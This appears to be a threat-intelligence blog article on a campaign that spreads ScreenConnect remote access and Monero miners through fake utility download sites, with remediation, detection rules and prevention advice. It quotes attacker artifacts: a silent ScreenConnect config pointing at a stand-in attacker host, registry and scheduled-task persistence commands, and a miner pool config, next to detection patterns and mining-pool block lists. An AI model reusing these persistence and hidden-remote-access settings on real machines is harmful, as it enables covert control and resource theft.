Cybercriminals are distributing cryptojacking malware through counterfeit utility software websites, bundling legitimate remote access tool ScreenConnect with cryptocurrency miners. The campaign targets users searching for popular system utilities, redirecting them to malicious domains that deliver trojanized installers. Once executed, the malware establishes persistent remote access while silently mining cryptocurrency using victims’ computing resources, resulting in degraded system performance and increased electricity costs.
Introduction
A sophisticated malware distribution campaign has emerged, leveraging fake utility software websites to deploy cryptojacking operations at scale. The threat actors behind this operation have weaponized ScreenConnect, a legitimate remote administration tool, combining it with cryptocurrency mining payloads to maximize their profit potential. This dual-purpose malware strategy allows attackers to maintain persistent access to compromised systems while simultaneously exploiting computational resources for financial gain.
The campaign specifically targets users seeking common system utilities such as optimization tools, driver updaters, and system cleaners. By poisoning search engine results and creating convincing replica websites, attackers successfully intercept legitimate download attempts and substitute malicious payloads. This infection vector proves particularly effective as users willingly execute the malware, believing they’re installing trusted software.
Background & Context
Cryptojacking has evolved significantly since cryptocurrency mining first became profitable. Early campaigns relied on browser-based miners embedded in compromised websites, but modern operations have shifted toward persistent, system-level infections that provide sustained mining capabilities. The integration of remote access tools represents a concerning evolution, enabling attackers to update mining configurations, deploy additional payloads, and maintain long-term control over infected infrastructure.
ScreenConnect, now known as ConnectWise Control, is a widely-adopted remote desktop and support solution used by IT professionals and managed service providers worldwide. Its legitimate functionality makes it an attractive tool for attackers—once installed, it provides comprehensive system access while appearing benign to casual observation. Security solutions often whitelist remote administration tools, and their network traffic blends seamlessly with normal business operations.
Fake utility websites have become a persistent threat vector in the malware ecosystem. Attackers invest in search engine optimization (SEO) poisoning, paid advertisements, and typosquatting domains to ensure their malicious sites appear prominently in search results. These sites frequently mimic legitimate software vendors with remarkable accuracy, incorporating stolen branding, professional designs, and fabricated user reviews to establish credibility.
Technical Breakdown
The infection chain begins when victims search for popular utility software and encounter malicious search results leading to attacker-controlled domains. These domains often employ similar naming conventions to legitimate software providers, using variations like “official-utility-download[.]com” or “utility-tool-pro[.]net” to appear trustworthy.
Upon visiting these sites, users are presented with download buttons for their desired utility software. The downloaded installer typically arrives as a bundled executable, combining the advertised utility (or a superficial clone), ScreenConnect client software, and cryptocurrency mining components. The installer package uses various obfuscation techniques to evade detection:
MaliciousInstaller.exe
├── Dropper Component
├── ScreenConnect Client (screenconnect.exe)
├── XMRig Miner (renamed/obfuscated)
├── Configuration Files
└── Persistence MechanismsOnce executed, the installer performs several actions in sequence. First, it deploys the ScreenConnect client, configured to connect to attacker-controlled servers. This connection establishes immediately and provides remote access without triggering obvious alerts. The ScreenConnect configuration typically includes:
{
"ConnectionServer": "attacker-control[.]com:8040",
"SilentMode": true,
"HideFromAddRemove": true,
"AutoUpdate": true
}Simultaneously, the cryptocurrency miner is deployed to a system directory and configured for stealthy operation. Modern cryptojacking malware implements several evasion techniques:
Resource Throttling: The miner monitors CPU usage and scales mining intensity to avoid detection. When users actively use the system, mining reduces to 20-40% CPU utilization. During idle periods, it increases to 80-90%.
Process Masking: The mining executable uses names resembling legitimate system processes, such as “WmiPrvSE.exe” or “svchost32.exe,” and injects into legitimate processes to obscure its presence in task manager.
Persistence Mechanisms: Multiple persistence methods ensure the malware survives reboots:
# Registry Run Key
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"SystemOptimizer" = "C:\Users\[USER]\AppData\Local\Temp\svchost32.exe"
# Scheduled Task
schtasks /create /tn "SystemMaintenance" /tr "C:\path\to\miner.exe" /sc onstart /ru System
The mining configuration connects to attacker-controlled mining pools, typically using Monero (XMR) due to its privacy features and resistance to specialized mining hardware:
Pool: xmr-pool.attacker[.]com:3333
Wallet: [Attacker's Monero Address]
Worker: [Compromised System Identifier]Impact & Risk Assessment
Immediate Impacts:
Organizations and individuals affected by this campaign face multiple consequences. Performance degradation becomes immediately noticeable as mining operations consume 40-90% of CPU resources, causing applications to slow, freezing, and system instability. Electricity costs increase substantially—a single infected workstation running at full capacity can consume an additional 50-150 watts continuously, translating to $10-30 monthly per device.
Hardware degradation accelerates as components operate at elevated temperatures for extended periods. CPU and GPU lifecycles shorten, cooling systems strain, and the risk of hardware failure increases significantly. For organizations with multiple infected systems, premature hardware replacement costs can reach thousands of dollars.
Long-Term Risks:
The ScreenConnect remote access component presents severe security implications beyond immediate cryptojacking. Attackers maintain persistent backdoor access, enabling future malicious activities including data exfiltration, ransomware deployment, lateral network movement, and credential harvesting. This transforms cryptojacking infections into potential footholds for advanced persistent threat scenarios.
Network bandwidth consumption increases as mining operations communicate with command-and-control infrastructure and pool servers. For organizations with metered connections, this generates unexpected costs and potential service degradation.
Risk Severity: HIGH
This campaign warrants high-severity classification due to the combination of financial impact, system compromise, and potential escalation to more damaging attack scenarios. The widespread distribution mechanism and effectiveness of social engineering tactics indicate significant exposure across home users, small businesses, and potentially enterprise environments.
Vendor Response
ScreenConnect’s parent company, ConnectWise, has not issued specific guidance regarding this campaign at the time of reporting. However, the company maintains clear position statements regarding unauthorized use of their software. ConnectWise emphasizes that their products are intended solely for legitimate IT administration and support purposes.
The company provides several security recommendations for ScreenConnect deployments:
- Implement strong authentication and access controls
- Monitor for unauthorized installations
- Maintain updated software versions
- Review connected systems regularly
- Configure logging and alerting
Legitimate ScreenConnect installations can be distinguished from malicious ones by verifying the connection server, reviewing installation context, and validating digital signatures on executables.
Mining pool operators contacted about the campaign have shown varying responses. Some pools actively block wallet addresses associated with malicious activity when reported, while others maintain hands-off policies regarding how their services are used.
Antivirus vendors have updated detection signatures to identify the specific installers and payloads associated with this campaign, though coverage remains inconsistent across products.
Mitigations & Workarounds
Immediate Actions for Infected Systems:
If you suspect infection, take these immediate steps:
- Disconnect from network to prevent further command-and-control communication
- Document running processes before termination
- Terminate suspicious processes with high CPU usage
- Uninstall unauthorized software through Control Panel and search for ScreenConnect installations
- Remove persistence mechanisms from startup locations
# Check for suspicious scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskName -like "System" -or $_.TaskName -like "Update"}
# Review startup registry entries
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run
Complete System Remediation:
For thorough cleanup, perform these steps:
# Search for mining-related processes
Get-Process | Where-Object {$_.CPU -gt 50} | Select-Object Name, Id, CPU, Path
# Remove ScreenConnect installation
$uninstall = Get-WmiObject -Class Win32_Product | Where-Object {$_.Name -like "ScreenConnect"}
$uninstall.Uninstall()
# Clear temporary directories
Remove-Item "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item "$env:LocalAppData\Temp\*" -Recurse -Force -ErrorAction SilentlyContinue
After initial cleanup, perform full system scan with updated antivirus software and consider using specialized anti-malware tools like Malwarebytes or ESET Online Scanner for secondary verification.
Preventive Measures:
Implement these controls to prevent future infections:
Application Whitelisting: Deploy application control policies that only permit execution of approved software from verified publishers.
Endpoint Protection: Ensure comprehensive endpoint security solutions with real-time protection, behavior monitoring, and cloud-assisted detection.
User Education: Train users to download software exclusively from official vendor websites, verify URLs carefully, and recognize suspicious download sites.
Network Filtering: Implement DNS filtering to block known malicious domains and prevent connections to mining pools.
# Common mining pool domains to block
*.minexmr.com
*.supportxmr.com
*.nanopool.org
[attacker-specific domains]Detection & Monitoring
Behavioral Indicators:
Monitor for these suspicious behaviors indicating potential cryptojacking:
- Sustained high CPU usage (>50%) during idle periods
- Unusual outbound network connections to non-standard ports
- Processes with randomized or system-mimicking names
- Excessive heat generation and fan activity
- System performance degradation without clear cause
Network-Based Detection:
Implement network monitoring for cryptojacking indicators:
# Mining pool communication patterns
- Connections to ports 3333, 5555, 7777, 8080, 14433, 14444
- DNS queries for mining pool domains
- Stratum protocol traffic patterns
- SSL/TLS connections to suspicious endpoints
Network detection systems should alert on:
alert tcp $HOME_NET any -> $EXTERNAL_NET [3333,5555,7777,8080] (
msg:"Possible Cryptocurrency Mining Activity";
flow:established,to_server;
content:"stratum+tcp";
classtype:coin-mining;
)Host-Based Detection:
Configure endpoint detection to identify:
# PowerShell detection script
$suspiciousProcesses = @(
"xmrig", "xmr-stak", "ccminer", "cgminer",
"ethminer", "claymore", "phoenixminer"
)
Get-Process | Where-Object {
$processName = $_.ProcessName.ToLower()
$suspiciousProcesses | ForEach-Object {
if ($processName -like "$_") {
Write-Host "Suspicious process detected: $($_.ProcessName)" -ForegroundColor Red
Write-Host "Path: $($_.Path)"
Write-Host "CPU: $($_.CPU)"
}
}
}
SIEM Detection Rules:
For organizations with security information and event management systems, implement detection rules for:
- Unauthorized ScreenConnect installations
- Process creation from temporary directories
- Scheduled task creation by non-administrative users
- Registry modifications in startup locations
- High CPU utilization correlated with network connections
Best Practices
For Individual Users:
- Source Verification: Download software exclusively from official vendor websites, accessed through direct URL entry rather than search engine results
- Digital Signature Verification: Before executing downloads, verify digital signatures:
Get-AuthenticodeSignature "C:\path\to\downloaded\file.exe" | Format-List- Security Software: Maintain updated antivirus software with real-time protection enabled and perform regular full system scans
- System Monitoring: Periodically review running processes, startup items, and scheduled tasks for suspicious entries
- Update Hygiene: Keep operating systems and security software updated with latest patches
For Organizations:
- Software Management: Implement centralized software deployment and maintain approved application inventories
- Access Controls: Restrict administrative privileges and require approval for software installations
- Network Segmentation: Isolate critical systems and implement least-privilege network access
- Security Awareness Training: Conduct regular training on social engineering tactics and safe download practices
- Incident Response Planning: Develop and test response procedures for cryptojacking incidents
- Continuous Monitoring: Deploy EDR solutions with behavioral analytics and establish security operations center monitoring
For IT Administrators:
Configure Group Policy to restrict software execution:
Computer Configuration -> Windows Settings -> Security Settings ->
Application Control Policies -> AppLockerImplement PowerShell logging for visibility:
Computer Configuration -> Administrative Templates ->
Windows Components -> Windows PowerShell -> Turn on Module LoggingDeploy network-level protections:
# Block mining pools at firewall
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROPKey Takeaways
- Fake utility websites remain effective attack vectors: Attackers successfully leverage SEO poisoning and convincing replica sites to distribute malware at scale
- Dual-purpose malware maximizes attacker ROI: Combining remote access tools with cryptocurrency miners provides both immediate financial returns and long-term strategic access
- Legitimate tools weaponized: ScreenConnect’s abuse demonstrates how legitimate software can be repurposed for malicious objectives while evading detection
- Performance degradation signals compromise: Unexplained system slowdowns and high CPU usage warrant immediate investigation for potential cryptojacking infections
- Prevention requires layered approach: Effective defense combines technical controls, user education, and continuous monitoring
- Source verification is critical: Downloading software from verified official sources remains the most effective prevention measure
- Cryptojacking creates multiple risk dimensions: Beyond immediate resource theft, infections establish footholds for advanced persistent threats
References
- ConnectWise ScreenConnect Official Documentation – https://docs.connectwise.com/ConnectWise_Control_Documentation/
- XMRig Mining Software Technical Documentation – https://xmrig.com/docs
- MITRE ATT&CK Framework – Technique T1496 (Resource Hijacking) – https://attack.mitre.org/techniques/T1496/
- CISA Malware Analysis Reports – https://www.cisa.gov/malware-analysis-reports
- Cisco Talos Intelligence Group – Cryptojacking Threat Research
- Microsoft Security Intelligence – Cryptocurrency Mining Threats
- Kaspersky Threat Intelligence – Cryptojacking Campaign Analysis
Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/
